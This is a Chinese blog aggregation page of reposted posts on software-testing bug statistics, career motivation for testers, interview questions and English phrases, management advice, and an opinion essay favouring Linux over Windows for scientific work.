    在项目完成之后往往需要对测试做一个总结,找出测试或开发流程上的不足,以便在以后的项目中,改进流程,完善测试,从而保重软件的高质量。bug作为测试的直接产物,对它的统计分析是很有参考价值的。

          bug的统计分析,主要进行一下方面的工作

          1.bug的级别统计分析 可以根据bug的严重级别统计,初步看出软件的质量问题,低级别的较低还可接受。若High级别的bug居多则说明软件的开发存在很大问题风险,需及时通知负责人改进。

          2.bug的模块统计分析 可以根据软件系统的不同模块进行bug的统计分析,依据20--80定律,集中对问题多的模块进行重点测试,以期找出更多潜在的缺陷。

          3.bug的版本统计分析 可以根据不同版本发现bug的变化趋势进行统计分析,查看变化趋势,预估软件的质量,做出结束测试的判断。

          4.bug的人员统计分析 可以根据开发、测试人员的不同对发现的bug做统计分析,从而对每一个人的工作效率做出初步的评价。

          5.bug的原因统计分析 可以根据bug的产生原因来做统计分析,分析引起bug的原因,是需求不明确,是设计不合理,是编码不规范,是测试设计缺失,是测试执行遗漏,是测试环境等原因引起的。从而在以后的项目中重点关注,改进,完善工作流程。

         bug的统计分析不仅仅在项目结束进行,在测试的任何阶段均可进行,以便随时了解测试进展,改进测试过程。bug的统计分析可利用工具进行更形象具体像TD,QC等都是很不错的。但也不能局限于工具有时还需要请自动手找出更多问题。bug的统计分析实则是对工作的分析总结,总结经验教训,以期在以后的工作中不再出现。

  • 工作快两年了 没激情了怎么办

    louzhi 发布于 2009-03-14 16:42:06

     

    工作快两年了,两年中大部分是跟着项目在跑,眼袋深了,人老了,人也变老了。有点迷茫,有点郁闷。下面是我老大给我们的一点忠告,记下来,自己好慢慢品尝。

    无论做哪一行,工作一段时间后,都会感觉迷茫。主要的原因在于,在工作一定时间后,对工作方法和技术已经比较熟悉,工作已经不像当年刚入行时,具有新意和创新性,更多的可能是重复繁琐的工作,如果看到同学朋友,有了更好的发展,往往就会感到迷茫和郁闷,往往就怀疑自己当初的选择,甚至自我的感觉就像是被困在一个木桶里,动弹不得的,但是桶里面却又有很多飞虫不断地骚扰,心中虽有鸿心壮志,却总是一无所展。所以,此时此刻,人就会感觉郁闷,迷茫,麻木,感觉一身抱负没得舒展,更加郁闷的是,自己有什么抱负,也搞不清楚。人就是这样一种动物,当看到不光明或者看到不路的尽头的时候,往往就失去了动力。
          这种情况,大体上也不是现在才有的,大体上几千年前就有了,不信,你读读那些唐诗宋词,大多也会体味得到这种感觉。这也就是为什么,你读那些诗词的时候,为什么会有同感的原因了。这种情况,也不是只有你遇到,大体上所有人都遇到。这种情况,也不是你现在没有,以后就不会有,这个跟你当时的需求有关,如果你需要的东西,你一直拿不到,你肯定会感觉痛苦和迷茫,而人的欲望是无穷的,不是你想要什么就能得到什么的,所以郁闷的人自然就不少。
          为什么会有这种现象?其实,无论做什么或者学习什么,到了一程度后,就会遇到发展的瓶颈。就如练武功一样,练的境界越高,遇到的困难就越大,这就是为什么,高手总是极少的,越高的手越少。说回来,我们职业发展,如果你工作一段时间,感觉迷茫和郁闷,一方面说明你有上进心,一方面说明,你不知道如何处理遇到的情况,如何调整自己。我觉得,首先,最重要的是不能遇到瓶颈就轻易选择放弃,或者怀疑自己的选择。换一行后,工作两三年后,会遇到同样的问题的,同样会遇到发展的瓶颈,如果跨不过去,永远会觉得自己前面有道坎。不断的换行,不断地从头开始,只要跨不过那道坎,终究是一无是处的。其次,不要跟别人比,一般情况下,都是你看我好我看你好!因为你不知道别人的难处,只看到人家好的。这样越比较,自己就越痛苦。还要是做好自己,踏实地一步一步前进,机会总是留给有准备的人,所谓十年河东,十年河西,平淡中要做出不平淡的事情来,做好积累。我们需要做好坚持和忍耐。
          再说回我们,我感觉,目前我们大体会有以下几个方面,让我们感觉迷茫和痛苦的。
    第一、测试人员的缺口很大,按道理应该是有发展潜力的。可能为什么我感觉不到?
    第二、做测试两年多了,为什么还在从事简单重复的测试工作?难道我没的进步?
    第三、我的优势在哪里?怎么样才能得到晋升或者加薪,怎么样才能得到别人尊重?
    第四、有没有更轻松又能赚到更多钱或者有更好地位的工作,我做测试是不是亏了?
    第五、同学中或者朋友中,有人已经取得成功,可是我为什么不能像他们那样?
          目前,随着国内企业对软件质量的重视,测试人员的缺口很大。就目前的人员结构来看,是两头小中间大,高层次的测试人才奇缺。目前高层次的测试人员,月薪一万以上,已经不稀奇。所以说,行业的需求是有的,关键是看自己如何提高自己技能。
          前几年,听了一个《成功学》讲座,感觉挺受启发的。一个人想富有,不能光想着钱,只想钱,钱是不会到你口袋的,应该想想,如何能让你成为某方面不可缺少的人,也就是说,要让组织你对有依赖,只有你成为组织中不可替代的人,你的收入自然就会不断地增长,自然你就会得到别人的尊重,因为他 需要你,你能给他们带来利益。当年,我的想法也很简单,在保证完成本职工作的基础上,我想成为性能测试最牛的人。于是我在业余时间,放了大量的精力在上面。通过很多项目的试验和改进,我自认为,这方面,我的水平还是可以的。其实,不断地做项目,对改进和验证我的工作方法和思路起了很大的作用。在每完成一个项目,我便会进行自我的总结,想想怎么样能更好地做好项目。我的做法很简单,每做完一个项目,我便会把OSSP中的过程和一些理论书再看一遍,看完后,你会发现工作中很多的不足,应该是如何做更好。
          还有一点要说的是,尽量自己独立地去负责一个项目。这样便能把自己的想法付之实现,通过不断的实践和改进,就能积累很多做项目的经验和具体的实施办法、还有技术。当然,你需要把你的想法,在实施前跟领导探讨一下。虽然独立负责一个项目,有时候会比较辛苦,但是,往往就是你建立别人对你的信任的时候。如果你做到了,组织对你的依赖度就会越来越高,你就会变得越来越重要,你就能上一个台阶。
         记住:独立地做事,通过实践来验证和改进你的工作,多花时间研究。这些很重要。

         希望各位朋友也能留下你的意见和建议,谢谢!

  • 软件测试面试常用英语

    温馨香屋 发布于 2009-03-10 13:53:44

    With my qualifications and experience, I feel I am hardworking, responsible and diligent in any project I undertake. Your organization could benefit from my analytical and interpersonal skills.
    依我的资格和经验,我觉得我对所从事的每一个项目都很努力、负责、勤勉。我的分析能力和与人相处的技巧,对贵单位必有价值。
    Q:Why did you leave your last job?你为什么离职呢?
    A:Well, I am hoping to get an offer of a better position. If opportunity knocks, I will take it.
    我希望能获得一份更好的工作,如果机会来临,我会抓住。
    With my strong academic background, I am capable and competent.
    凭借我良好的学术背景,我可以胜任自己的工作,而且我认为自己很有竞争力。
    Q:What do you think you are worth to us?你怎么认为你对我们有价值呢?
    A:I feel I can make some positive contributions to your company in the future.
    我觉得我对贵公司能做些积极性的贡献。
    Q:What make you think you would be a success in this position?
    你如何知道你能胜任这份工作?
    A:My graduate school training combined with my internship should qualify me for this particular job. I am sure I will be successful.
    我在研究所的训练,加上实习工作,使我适合这份工作。我相信我能成功。
    Q:What is your strongest trait(s)?你个性上最大的特点是什么?
    A:Helpfulness and caring.乐于助人和关心他人。
    A:Adaptability and sense of humor.适应能力和幽默感。
    A:Cheerfulness and friendliness.乐观和友爱。
    Q:How do you normally handle criticism?你通常如何处理別人的批评?
    A:Silence is golden. Just don't say anything; otherwise the situation could become worse. I do, however, accept constructive criticism.
    沈默是金。不必说什么,否则情况更糟,不过我会接受建设性的批评。
    A:When we cool off, we will discuss it later. 我会等大家冷靜下来再讨论。)
    Q:How do you handle your conflict with your colleagues in your work?
    你如何处理与同事在工作中的意见不和?
    A:I will try to present my ideas in a more clear and civilized manner in order to get my points across. 我要以更清楚文明的方式,提出我的看法,使对方了解我的观点。
    Q:How do you handle your failure?你怎样对待自己的失敗?
    A:None of us was born "perfect". I am sure I will be given a second chance to correct my mistake.我们大家生来都不是十全十美的,我相信我有第二个机会改正我的错误。
    Q:What provide you with a sense of accomplishment.什么会让你有成就感?
    A:Do my best job for your company. 为贵公司竭力效劳。)
    A:Finish a project to the best of my ability. 尽我所能,完成一个项目。
    Q:How long would you like to stay with this company?你会在本公司服务多久呢?
    A:I will stay as long as I can continue to learn and to grow in my field.
    只要我能在我的行业力继续学习和长进,我就会留在这里。
    Q:Could you project what you would like to be doing five years from now?
    你能预料五年后你会做什么吗?
    A:As I have some administrative experience in my last job, I may use my organizational and planning skills in the future.
    我在上一个工作中积累了一些行政经验,我将来也许要运用我组织和计划上的经验和技巧。
    A:I hope to demonstrate my ability and talents in my field adequately.
    我希望能充分展示我在这个行业的能力和智慧。
    Don't appear to be pushy or overly anxious to get a job. 不必过分表现急着要工作。
    Be honest but not too modest. 要诚实,但不必太谦虚。
    Don't put yourself down or cut yourself up. 不可妄自菲薄或自贬。
  • 面试时最难的25个问题--转发

    jun_1028 发布于 2009-02-13 13:29:04

    面试时最难的25个问题




    简介:工作面试时最难的25个问题,很好的准备是成功的一半。如果你是一个对目前的职位不满意,正着手去在新的一年里找到一个新的职位,这篇文章就是你的一个帮手。工作面试是你去面对未来的老板的征途中最重要的一个过程。你必须像进行一个击剑锦标赛或着一个国际象棋比赛那样的坚韧和敏捷来对待面试。

    准备是成功的一半如果你是一个对目前的职位不满意,正着手去在新的一年里找到一个新的职位,这篇文章就是你的一个帮手。工作面试是你去面对未来的老板的征途中最重要的一个过程。你必须像进行一个击剑锦标赛或着一个国际象棋比赛那样的坚韧和敏捷来对待面试。



    本文是从 William J. Morin和James C. Cabrera 的“在失业的时候如何生存并成功的找到另一个工作”一文中摘选出来的。版权所有:Drake Beam Morin, inc;出版:Harcourt Brace Jovanovich。

    Morin是纽约的Drake Beam Morin公司的董事长,Cabrera是该公司的主席。该公司是国家主要的新职介绍公司,办公所在地在费城。



    1.介绍你自己

    这个问题通常是一个面试的开始的第一个问题,要额外的小心不要滔滔不绝。尽可能的让你的回答在一分钟,最多2分钟的时间内结束。你的回答应该包含以下4个主题:早期生活,教育背景,工作背景以及最近的工作经验。要着重强调最后的那个主题。要牢记这个问题通常是一个热身的问题,不要把你的最重要的观点浪费在这个问题上。

    2.你对我们公司有什么样的了解

    你必须能够谈论关于这个公司的产品,服务,收入,业界声望,形象,目标,存在的问题,管理风格,职工,历史和企业文化等问题。但是不要表现出你对这个公司的一切都了如指掌。让你的回答能够体现出你对该公司做了一些研究,但是不要让面试官被你打败(overwhelm),并表现出你希望能够了解关于公司更多的情况。

    你可以用这样的态度来开始回答问题:“在我的寻找工作的过程中,我调查研究了很多公司,出于如下的理由,贵公司是我感兴趣的公司之一:”。

    用一个积极的态度来回答这个问题,不要这样说:“每个人都告诉我这个公司处于困境中,有各种样的麻烦,这就是我来这儿的原因”,即是那的确是你在这儿的理由。

    3.为什么你希望来我们公司工作?

    最糟糕的答案就是“因为我喜欢人”。要是你喜欢的是动物,那你去哪工作呢?在这个问题的回答上,并且贯穿整个面试的过程中,一个优秀的答案总是来自于你所作的调查研究,这样的话你可以从公司的需要那个方面来回答。你可能说你的研究表明这个公司所做的工作正是你说希望参与的,并且他们做这个工作的方式极大的吸引了你。例如,如果这个公司由于强大的管理而著称,纳闷你的答案可以提到这个事实,并表示你希望成为这个小组的一员。如果这个公司着重强调研发,那么就强调你希望创造你的事物,而你知道这个公司非常鼓励这样的行为。如果这个公司强调经济控制,你的答案就应该包含对数字的热爱。

    如果你觉得你必须捏造一个答案,例如如果这个公司强调研发,但是你觉得你必须提到这一点而实际上你对这根本不感兴趣,那么你可能根本不应该参加这个面试,因为你可能根本不会考虑在这个公司工作。

    你的之前的准备必须包括对这个公司做详尽的了解,来避免到一个你无法发挥才干或者根本不想去的公司面试。大多数人都不擅长说谎,所以在面试中欺瞒面试官是一件很困难的事情。即使你成功的做到了这一点,你所获得的也只是一个你不想参加的工作

    4.你可以为我们完成哪些其他人做不到的事情?

    这个问题上,你有权利或者是义务来自吹自擂。谈论一些你完成工作的记录,提到你简历中的独特之处,或者列出你职业生涯中的成就。告诉别人,你的技能和兴趣在获取这些结果的过程中发挥了很大的作用,并使得你很有价值。提到你能够合理的安排工作优先顺序,找出问题,并利用你的经验和精力来解决问题



    5.你觉得这个职位最吸引你的地方是什么?最不吸引你的地方又是什么?

    列出3到4个这个工作吸引人的方面,然后提出一个简单的不重要的不吸引人的问题。

    6.为什么我们应该雇佣你?

    参见问题4, 考虑你的能力,你的工作经历和你的干劲。



    7.你希望在工作中能够获得什么?

    让你的答案来源与这个公式提供的机会。谈论你希望能够大展身手并获取认可的要求。让你的答案基于工作机会而不是个人的要求



    8.谈论一下你对你应聘的这个职位的定义

    你的答案应该简短并且是基于工作要求的。考虑这个工作的责任和义务。在你回答问题之前确定你真正的了解这个职位所涉及的方方面面。如果你不确定,就去问面试官,他可能会帮你回答这个问题。

    9.你需要多久能够对公司做出显著的贡献?

    答案要实际一点。可以这样回答,尽管你希望从第一天开始就能够满足公司紧迫的要求,并开始发挥作用,但是你可能需要6个月到1年的时间来足够了解这个公司及其需要来做出很大的贡献。



    10.你会在公司工作多久?

    可以这样回答,你对在这个公司的职业生涯很感兴趣,可是也得承认你必须能够不断感觉到有挑战才能够继续在任何公司呆着。可以考虑这样的语句“只要我们双方都感觉有收获”。

    11.你的简历显示你的能力超出了这个工作的要求,你是如何认为的?

    强调你对在这个公司开始一个长期的合作的兴趣,你可以说你认为如果你在这个职位上表现的很好,公司还会为你提供新的机会。也要提到一个好公司需要好的职员。有检验的职员总会有很好的奖励;既然你是如此的很是这个职位,雇主将会很快从他的投资中获得回报。一个发展中的,充满活力的工资永远不会嫌天才多的。

    12.你的管理方式是什么样的?

    你必须对这个公司的风格有足够的了解,这样才能让你的管理风格对其进行补充。可能的风格包括:基于任务的(我喜爱问题-研究那些是错误的,选择一个解决方案并完成),基于结构的(我做出的任何一个管理的决定是基于它是如何影响问题的底线的),或者是家长式作风的(我致力与管理好我的每一个下属,并给他们指引正确的方向)。

    民主参与式的风格是目前比较流行的一种:一个开放的管理方式,通过激励手下并根据所负责的事情分派任务来完成每一件事情。

    当你考虑这个问题的时候,要思考你的风格是否会让你在这个公司里高兴并有效率的工作。



    13.你是一个合格的经理吗?你可以举一些例子吗?你是否觉得你有顶级管理人员的潜力?

    保证你的答案是基于成果和任务的。通过你职业生涯中的一些例子来加固你的论点。强调你的经验和精力



    14.当你招聘人手的时候你需要什么类型的?

    考虑一些技能方面的问题。主动性,以及能够舒服和有效的与其他人一起工作的适应性。提到你希望雇佣一些看起来能够在公司中获得提升的人。



    15.你是否曾经不得不解雇一些员工?是什么理由?你是如何解决这个情况的?

    要承认这个情况不是容易解决的,但是你还是很好的解决了,不管是从公司角度还是从个人角度。让他们知道,和其他人一样,你不喜欢这种让人不乐意的工作,但是你可以有效的富有人情味的解决问题,尤其是在要解雇某个人的时候。



    16.你认为作为一个经理或者高级行政人员最困难的事情是什么?

    要提到指定计划,指定和成本控制。最困难的任务是要去激发并管理雇员来完成一些计划中的事情,并且按时的在预算范围内完成任务。

    17.在我们这个行业中你觉得什么是最重要的趋势?

    一样要准备两到三个趋势来阐明你对所在行业的是多么的了解。你可以需要考虑技术上的挑战或者机会,金融环境甚至管理的需求作为你所应该考虑收集的关于你的行业说面对的状况。



    18.你为什么离开你现在的工作(上一个工作)?

    在不伤害你自己的情况下要简明扼要并诚实的回答这个问题。回溯到你寻找工作的计划阶段,那时你正在把这个话题当作你的工作经历。如果你是在一次公司裁员中被裁掉的,直接说出来好了;否则的话,要指明这次离职是你自己的决定,你自己行动的结构,不要特到任何关于性格冲突等。

    19.你觉得放弃原来所有的福利待遇等来寻找一个新的工作是什么感觉?

    要提到你很自然的担心这一点,但是并不很恐慌。你愿意为寻找到合适的工作而冒一点风险。不要说,你对安全感比成功的完成工作更感兴趣。



    20.在你上一份工作中,你最喜欢那个方面的特点?最不喜欢哪个?

    要小心而计息的回答这个问题。要多说你喜欢的特性,而少说你不喜欢的。不要引用个人的问题。如果你使得你的上一份工作听起来很糟糕,面试官会疑问你为什么还能在上一份职位上一直待到现在。



    21.你如何看待你的老板?

    要尽可能积极的回答这个问题。你潜在的未来的老板很希望能够了解你未来在相似的场合会如何谈论他



    22.你在现在的年龄中为什么不能赚到更多?

    要告诉他这是你寻找新的工作的理由之一,不要处于守势。



    23.你希望这个职位的薪水是多少?

    讨论薪水是一个很微妙的问题。我们建议你在条件允许的情况下尽可能的拖延用一个精确的数据来回答这个问题。你可以说,“我知道这个工作的薪水的大概范围是¥---到¥---。这个对于我来说是合适的价位。”你也可以用一个问题来回答这个问题:

    “你可能在这个问题上可以帮助我。你能否告诉我在公司中对相似职位的工作的大概薪水是多少?”。

    如果你是在一个最初的面试中遇到这个问题,你可以说你觉得你需要更多的了解这个职位的职能才能够对这个问题有个有意思的回答。在这个问题上通过询问面试官或者人事高级主管或者自己去寻找结果,你可以尝试去获得这份工作是由有一个工资等级。如果有,并且你能够接受,那么直接回答你满意这个薪水范围好了。

    如果面试官继续纠缠这个问题的话,你可以说“我现在的薪水是¥--。和其他人一样,我希望能够提升这个数字,但是我主要的兴趣还是在工作本身。”要记住,获取一个新的工作这件事本身不会使得你能够赚到更多的钱。

    如果一个猎头公司也参与了此事的话,你的联系人可能可以帮助你解决这个薪水的问题。他甚至可以帮你介入此事。例如,如果他告诉你这个职位的待遇,然后你告诉他你现在已经赚那么多的,并且希望待遇能够适当的提升,他可能会去雇主那然后提议给你增加10%的待遇。

    如果没有获得关于这个职位的合适的信息,而面试官还继续这个话题的话,你可以用一个具体的数字来回答这个问题。你不能给别人留下待遇完全没有影响你将会接受任何待遇的印象。如果你年薪8W的话,你不可能没有变现出放弃自己的时候,说3.5W一年也是可以接受的。(如果你是在做工作的一个彻底的变化的话,这种情况可能也是有道理,可以理解的)。

    不要很快就把你自己卖掉:),但是要继续的强调这个工作本身才是你最看重的东西。面试官可能会去判断你希望从这个工作的待遇是多少哦。不要给面试官留下金钱对你来说是唯一重要的事情的感觉。把薪水的问题和工作本身挂钩。

    但是无论合适可能的话,在你到面试过程的最后一个阶段之前,少谈论薪水的问题。到那个阶段的时候,你就应该知道,这个公司对你有很大的兴趣,这个时候在谈论薪水待遇的话就会有很大的余地了。



    24.你长期的目标是什么?

    回到你寻找工作的计划阶段。不要这样回答“我希望能够得到你广告中的工作”。把你的目标与你面试的公司关系起来,“在你们这样一个公司,我希望能够...”



    25.你目前位置在工作中是多么的成功?

    你要回答,总的来说你对你目前为止的职业生涯是很高兴很满意的。列举一些生活中普通的琐事,你觉得你完成的很好,没有怨言。



    要想别人展现一个积极和自信的面貌,但是不要夸大其词。例如这样的回答“所有的事情都特别的好!我不能想象一个更好的事情了!我非常的开心。”,会使得面试官觉得你是不是在愚弄他或者你自己。最具有说服力的答案通常都是相当自信的。

  • 一个高级主管必须明白的几点事情(转)

    hmilyjch 发布于 2009-02-17 09:13:34

     

    一个高级主管必须明白的几点事情(转)


    1,罚款是没有用的。

    对于一个低层主管来说,罚款是有用的。对于一个高级主管来说,罚部下的款是没有用的。因为部署不是机器,特别是你主管的不是一些从事实干的员工,而是下一层的主管的时候。罚款的效果是很低很低的。所有人似乎都认为,罚款之后,对方一定会因为害怕罚款而承担一定的责任。其实这是想当然!一个高级主管,要懂得自己想和别人想是两回事。你自己觉得OK的,部属很多时候是觉得不OK的。罚款,很多部属的心态是,罚就罚吧,罚都罚了,你还想让我怎么样?根本没有把教训放在心上。

    2,根本没有民主和独裁的分别。

    民主,其实就是听从大部分人的意见,独裁,其实就是听从小部分人的意见。从表面上看,似乎民主比较安全。其实不然。必须认定一个事实,大部分人是愚蠢的,聪明的永远只是少数人。所以一个高级主管如果相信管理要民主,基本上,他干不了什么事情。但一个人如果什么都独裁,他也干不了什么事情。所以一个高级主管,要有内敛的气质。要懂得,有些事情,要摆上台来,搞民主的样示。有些事情,要放在心里,暗中进行。

    3,人才就是那些不听话的人。

    一个人,如果非常听话,这个人,基本上是没有什么用的。只有真正有才干的人,才会跟你抬扛。这是几千年不变的定律。真正有才干的人都是有傲骨的。他根本不怕你把他炒了,因为他有才干,随便出去又可以找到工作。高级主管对于日常听话的人,基本上是不用自己来费心的,因为这种事情低级主管可以轻松解决,不过是照法宣科的事情,有什么困难?高级主管难就难在,要去收服这些真正有才干的人。这是主要工作。

    4,看任何问题,都要深一层想。

    一个人,看到苹果只想到这是苹果,这个人是一个基层员工。

    一个人,看到苹果会想,这是谁的苹果,这个人是个低层主管。

    一个人,看到苹果会想,这个苹果为什么在这里?这个人是一个高级主管。

    一个人,看到苹果会想,这样的苹果值不值钱,这个人是老板。

    高级主管要善于解读表层下面的意义。所有员工都很害怕你,是什么原因?所有员工都非常亲近你,是什么原因?表相和真相很多时候是完全相背离的。要善于想。

    5,好人难做。

    一个人,要做坏人,其实是非常简单的。没有什么能力的人,才会去做坏人。有能力的人,才试着做好人。做坏人,没有任何顾虑,对任何人都大呼小叫,强迫员工工作,也不过是一个狠心,一把嗓门而已。项羽就是这样的人,像项羽这样有军事天才的人最后都失败,就是他做“坏人”的脾性。一个老板如果你的高级主管是这种“坏人”你要小心公司被他搞垮,因为人才都流失了。要小心这种没有能力却飞扬跋扈的人。一个高级主管,就是善于做好人。好人难做,是因为你对一个人好,所有人都想要你也对他好。坏人就没有这种顾虑,你对一个人坏,所以人都想着,你不要对我坏。所以坏人很简单。

       6,善于从大局出发。

    高级主管,永远都要明白,什么事情,轮到你的时候,一定都是一些大问题,都是一些很难解决的问题。虽然它表面上看起来,可能非常简单。因为在你下面还有一些低层主管,而低层主管都是轻易不把事情向上报告的,因为你会追问,会责难。所以一个高级主管在做任何决定的时候,要多重考虑。为什么这么做?有没有更恰当的方法?公司如果在这方面有规定,为什么低层主管不照公司规定做,而要向上传?是不是公司规定不符合实际情况?其它人对于这件事情的看法是怎么样?都是要考虑的。不是只有照本宣科。那是愚蠢的主管的办法。

    7,能够优秀的回签下面几个问题。

    一,有三个人走过来,有一个胖子,一个瘦子,还有一个平均人,请问三个人里面谁最有可能是老板。

    二,有五个人走过来,有一个胖子,一个瘦子,还有平均人,1号,2号,3号。请问五个人里面谁最有可能是老板。

    三,一枚硬币抛向空中,落下来,正面的概率是多少?

    四,你离职,跳到一家比原来公司小,但提供的薪水和职位比较高的公司。原来的公司送你一张“优秀管理人员”的奖状。你觉得原来的公司对你的感觉是怎么样的?

    五,老板今天早上对你说:公司财政很危险,可能支持不下去。为了不贻误你的时间,帮你介绍了一家更好的公司。你要怎么做?

  • 八种反应表示员工认可你--转

    xianyang 发布于 2009-02-18 16:00:04

    八种反应表示员工认可你


    作者:ANNA LIU编 来源: 《世界经理人》杂志


      发表在www.hr.com上的一篇文章指出,欲了解你的管理风格是否为员工所认可,有八种迹象可供参考。

      第一,即使你不在办公室,你的员工也知道你期望他们做什么。这意味着你已经让每个人明白了你对他们的期望,并且赋予了他们充分的自由去做自己认为正确的事情。

      第二,当你回到办公室,你的员工会主动告诉你他们做了什么,为什么那样做,出现了什么样的结果。这意味着他们对自己做的事情相当自信,并且相信你也认为他们做对了。

      第三,在你召开例行会议时,你的员工个个都很放松,并且能够畅所欲言。如果开口的人寥寥无几,意味着你平时可能太过独裁。

      第四,对于公司里发生的一切,鲜有人传播小道消息或无端猜测。这意味你的沟通工作做得相当不错。

      第五,你的员工对待客户的方式与你对待客户的方式一样。这意味着你已经在这方面给员工确立了一个适当的标准,也意味着他们非常清楚公司的目标,知道自己应该做什么。

      第六,你的员工能够彼此尊重,合作无间。通常,员工之间冲突不断,是因为领导容忍某些人的不良表现。当他们之间合作无间,往往意味着你是一个公平、得力的领导者。

      第七,在收到你的负面反馈后,你的员工不会生气或觉得震惊。这意味着员工认可你的看法,也意味着你很好地掌握了在不伤害他们自尊的情况下,提供负面反馈的技巧。

      第八,当出现人手不足的情况时,你的员工会主动推荐好的候选人,公司的员工流失率低。这意昧着他们乐意追随你,乐意与你一起工作。

      ANNA LIU为世界经理人杂志文摘编辑。
  • [回顾]清华申请退学博士作品:完全用Linux工作

    lwen 发布于 2009-02-03 11:58:29

    我已经半年没有使用 Windows 的方式工作了。Linux 高效的完成了我所有的工作。

    GNU/Linux 不是每个人都想用的。如果你只需要处理一般的事务,打游戏,那么你不需要了解下面这些了。

    我不是一个狂热的自由软件份子,虽然我很喜欢自由软件。这篇文章也不是用来推行自由软件运动的,虽然我觉得自由软件运动是非常好的。

    这篇文章也不是用来比较 Linux 和 Windows 内核效率,文件系统,网络服务的。我现在是作为一个用户而不是一个开发者来说话的,我们的讨论是基于操作,应用层面的。是为了告诉大学里还不了解,或者不理解 UNIX 的科学工作者和大学生,UNIX 比 Windows 更适合用于科学研究工作,请大家理解 UNIX 的工作方式,不要用 Windows 的标准来要求 Linux,而要用一个科学工作者的标准来要求自己,用UNIX 的思想来武装自己。

    我显然是反对在大学,特别是理工科专业推广 Windows 的。我也反对在对"娃娃"们的计算机启蒙教育中使用 Windows。因为 Windows 不论从技术上,经济上,思想风格上都是与我们培养高科技人才的目标格格不入的。Windows 的流行属于历史遗留问题,爷爷一级的人当然已经不可救药,但是我们不应该让下一代继续走上歧途。

    UNIX 不是计算机专家的专利

    当我建议一些非计算机专业的人用 Linux 的时候,很多人说:"UNIX 是计算机系的人用的,我们不能理解。" "UNIX 是男孩用的,我们女孩不用。"

    但是其实世界上的大多数科学家和工程师几乎用的都是 UNIX 作为他们的电脑工具。就因为它简单,可靠,稳定,强大,有趣。甚至很多时候 UNIX 就是唯一的选择。

    你说:"我们都会用 UNIX 的话,你们计算机专业的人还用来干什么?" 很容幸的告诉你,计算机专业的有一部分人就是专门为你们提供这样强大而方便的计算机工具的。如果他们制造的工具只有自己会用的话,那这个工具还有什么用?

    理解 GNU/Linux 不要用 Windows 的标准来要求 Linux。

    由于GNU/Linux这个词太长,下面如果没有特别指明,"Linux"就是指GNU/Linux"。

    在这个年代,恐怕没有人需要我来介绍 Linux 是什么了吧?如果你觉得"Linux 只不过是跟 DOS 差不多的东西",那请问问你旁边的 Linux 用户,Linux 到底是什么?

    那为什么我还要写一篇这样的文章?因为,我发现还有很多人不不理解 Linux 和 UNIX,虽然他们也在用它,但是他们有时会问:"为什么 Linux 不能像 Windows 那样 ……?","怎么Redhat Linux不能 mount NTFS 分区!","Linux 下用什么整理硬盘?","什么时候OpenOffice才能完全兼容Word文件啊?","现在还有什么Windows能干的事情Linux干不了的? "……

    他们有40G的硬盘,却只为 Linux 分配了2G空间,有时还抱怨"这个东西怎么占这么多硬盘!" 似乎 Windows 该占用大部分硬盘。他们把重要的数据装在Windows的分区,似乎信不过Linux。他们总是到处寻找新奇的,好看的GUI程序,对命令行的东西一概不屑一顾。他们对Drag&Drop,菜单配置,自动升级非常感兴趣。他们如果找到一个很像 Windows 程序的 Linux 程序,一定会很高兴的说:"哈哈!Linux 也能……了!"如果Linux在某种测试中胜过Windows,他们会高兴得跳起来。他们没有办法用Linux 解决问题的时候,甚至用Wine来运行Windows程序。有时实在没办法,只好重起到Windows,或者干脆省得麻烦,在 Windows 下装一个 VMWare 虚拟一个 Linux 玩。

    你如果出现了上面的情况,说明你的思想受到了 Windows 的某种潜移默化的影响和误导。你没有能够从本质上理解存在于 Linux 身上的 UNIX 思想。你支持 Linux,你喜欢 Linux,你能从中感觉到快乐,这非常好。你现在只需要明白的是:Linux 从来就不是一个玩具,它是天才UNIX的后代。UNIX 是自晶体管发明以来最伟大的发明,它从诞生那一天开始就比 Windows 的设计出色。

    你要体会什么叫做"设计",一个糟糕的设计并不是到后来缝缝补补就可以变好的,而一个出色的设计,不但可以以不变应万变,而且可以影响到后来者。一个出色的设计配上一个出色的实现,那就是非常出色的发明。Linux 就是这样的一个出色的发明。Linux 并不需要追赶 Windows,也不需要打垮微软。它的最终目标是改变整个计算机世界,还人们自由,给人们乐趣和方便。

    Unix 是简单的,你不需要成为一个天才也能理解这种简单。

    UNIX 的设计者 Dennis Ritchie 说:"Unix is simple. It just takes a genius to understand its simplicity." 但是我不这么认为,因为我不是一个天才,但是我却勇敢的把 Windows 完全删除掉,遇到不明白的事情的时候努力用 UNIX 的方式去解决,而不是寻求 Windows 的帮助。现在我体会到了 UNIX 的思想和好处,我可以用比 Windows 高效几倍的效率工作。因为我相信这样的信念:"Windows 能办到的事 Linux 一定能办到,而且办的更好。"

    这小节开头的话应该改成:"Unix 是简单的,你不需要成为一个天才或是计算机专家。但是在这个冲斥着 Windows 错误观念的世界,你需要信念和勇气才能理解它的简单。" 我下面就告诉你一些我理解到的东西。首先,你要知道的是微软在国际科学领域是根本没有地位的。

    微软的地位

    微软的名声在欧洲和美国的大学里,特别是在计算机系里之坏,大家可能有所耳闻。我认识的 MIT,Stanford 的教授,贝尔实验室的专家,甚至一个欧洲小国的高中计算机老师都绝口不提微软的名字。在他们眼里,微软只是一个没有真技术,专靠在落后国家商业宣传和垄断经营的小公司。这个"小"并不是说它人少,钱少,而是说它先进技术少。

    我上次和王益合作写了一个算法演示程序,那个算法是贝尔实验室一位科学家Steven Fortune很天才的发明,为了程序能够被身边大多数人使用,我们选择了 VC+MFC 作为平台。我在分析算法时还得到 Fortune 很热情的鼓励,寄给我一份资料,还多次回信耐心的给我讲解了很多细节。但是程序完成之后,我把样品发给 Fortune,他回信说:"对不起。我机器上没有 MFC。" 话说的很客气,但是我已经感觉到了他对 Windows的不屑。然后我把 MFC 静态编译进程序再发给他,他就没有再回信了。他显然不是瞧不起我,而是确实有难处。

    你能感觉到这位科学家对微软和 Windows 是什么态度了吧?不是反感,而是他心里根本没有 Windows 这个东西!微软在高科技领域没有发展,那么它怎么生存呢?到发展中国家去发展一下,他们的人民还对电脑一无所知,我说不定甚至可以打入大学的计算机系呢。我送他们软件,我捐钱盖大楼,我出钱找图灵奖获得者来演讲,让他们觉得我们都是科学家!

    好了,现在全国的大学包括清华,几乎所有人机器必装盗版 Win2000,Office XP,学校的选课系统是非IE不能正确浏览,论文用 Word 编辑,演示用ppt做,email 的通知附件是 doc 文件,你不用 Word 打不开,连 863 项目都用 VC 写程序了。我很久以前就看到一份报纸说,"微软为什么不严厉打击盗版?" 这篇文章说,微软非但不打击中国的盗版行为,而且有放任之趋势。放长线吊大鱼,"以后我要你们加倍的来还我!" 确实如此,它的目的快实现了。

